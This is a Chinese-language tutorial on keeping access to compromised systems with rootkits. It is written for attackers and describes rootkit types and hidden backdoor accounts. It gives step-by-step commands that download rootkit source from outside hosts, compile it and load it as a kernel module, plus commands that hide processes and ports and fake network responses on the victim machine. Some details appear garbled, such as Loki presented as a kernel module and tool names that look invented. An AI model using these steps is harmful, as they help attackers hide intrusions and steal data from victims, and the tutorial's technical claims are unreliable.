后渗透权限维持是攻击中不可或缺的一环。在攻击成功后,需要确保在受害系统中形成一个长期存在的后门,以便收集目标信息、维持攻击控制权并重新访问系统。为此,利用各种技术来创建稳定、隐藏且无法轻易被检测的后门。其中,一个常用的技术是使用 Rootkit。
一、Rootkit 简介
Rootkit(也称为 rootkit)是一种恶意软件,通常作为恶意攻击的一部分下发。它是一种恶意操作系统扩展,可以隐藏在受害系统的操作系统中,并利用操作系统的本身机制,保持恶意软件在受害系统中的存在。Rootkit 常见的运作方式为:它隐藏在操作系统中,监视所有系统活动,包括系统和应用程序的运行,以及所有输入和输出。Rootkit 可以隐藏自己的存在,并且可以隐藏其他恶意软件,包括病毒、特洛伊木马、键盘记录器等。这使得攻击者能够长期地掌控受害系统,窃取敏感信息并执行任意操作。
二、Rootkit 的种类
Rootkit 的种类繁多,常见的有以下几种:
1.内核级rootkit:内核级rootkit常常是最具有破坏性的类型。它们能够修改内核级函数的系统调用,从而在操作系统的核心中添加一些新的功能。
2.用户空间rootkit:用户空间rootkit是指,所有功能被限制在用户空间中,而不是直接操作内核数据。这种类型的 rootkit 主要用于隐藏进程、文件和网络连接等信息。
3.混合rootkit:混合rootkit 是指同时使用用户和内核空间的功能,既能够修改内核级函数的系统调用,又能够操纵用户级数据。
三、Rootkit 的安装使用
Rootkit 通常会利用漏洞进行攻击,从而在受害系统中安装。此外,它也可以利用社会工程学技术、物理访问等手段进行安装。
在拥有管理员权限的情况下,攻击者可以利用 Rootkit 技术维持权限。常用的 Rootkit 工具有:Loki、Pandora、Xtreme、Adore、Knark 和 Phalanx 等。
Rootkit 工具的使用涉及技术难度较高,下面介绍 Rootkit 工具 Loki 的基本使用方法。
1.下载 Loki
wget
http://www.rootkit.com/files/loki.tar.gz
tar -zxvf loki.tar.gz
2.编译 Loki
cd loki
make
3.安装 Loki
insmod loki.ko
安装成功后,操作系统将运行 Rootkit 工具 Loki,可以使用 Loki 提供的功能来隐藏系统中的进程、文件和网络连接等信息。
四、Rootkit 技术在后渗透权限维持中的应用
为保持长期控制权,需要维持在受害系统中的存在。Rootkit 技术在不被发现的情况下,提供了一种理想的方法来实现权限维持。
可以利用 Rootkit 技术来隐蔽并隐藏自己。Rootkit 可以掩盖恶意进程、隐藏已安装的软件、操纵文件、清除活动日志并监视进程间通信等。这些操作可以使在受害系统中不容易被发现。
例如,可以创建一个特殊的用户帐户,以便随时可以登录和执行特定的命令。通常,该帐户不会出现在用户列表或日志文件中,因此只有攻击者能够获得其中的权限。随着继续攻击,他可以添加新的功能并继续掌控受害系统。
在实战中,我们可以使用Rootkit技术维持权限,确保攻击者能够在系统中持续操纵。安装Rootkit技术,我们可以通过以下步骤来实现:
在CentOS系统中,首先需要安装EPEL源。命令如下:
sudo yum install epel-release
安装内核开发包和gcc,以便在系统中编译Rootkit代码:
sudo yum install kernel-devel gcc
下载Roockit源码并解压:
wget
https://github.com/ZengjfOS/Rootkit/archive/master.zip unzip master.zip
进入Rootkit代码目录,并进行编译:
cd Rootkit-master/ make
安装Rootkit驱动:
sudo insmod Rootkit.ko
检查Rootkit是否成功安装:
lsmod | grep Rootkit
安装完成之后,我们可以利用Rootkit技术来维持我们的权限。例如,我们可以使用Rootkit技术隐藏开启的端口,防止被扫描出来。以下是一些常用的命令:
隐藏进程:
sudo ./rk_tknl_hide_proc [PID] # 隐藏指定PID的进程 sudo ./rk_tknl_hide_proc all # 隐藏所有的进程
隐藏端口:
sudo ./rk_tknl_hide_port [PORT] # 隐藏指定端口 sudo ./rk_tknl_hide_port all # 隐藏所有端口
模拟回应:
sudo ./rk_tknl_simulate_response [IP] [PORT] #[content] # 模拟返回指定IP和端口的数据
通过以上命令,我们可以使用Rootkit技术维持我们的权限,隐蔽攻击行为,取得我们想要的敏感信息。但需要注意的是,Rootkit技术一旦被系统检测到,就可能会被系统清除,并留下日志作为审计证据。
TCV:2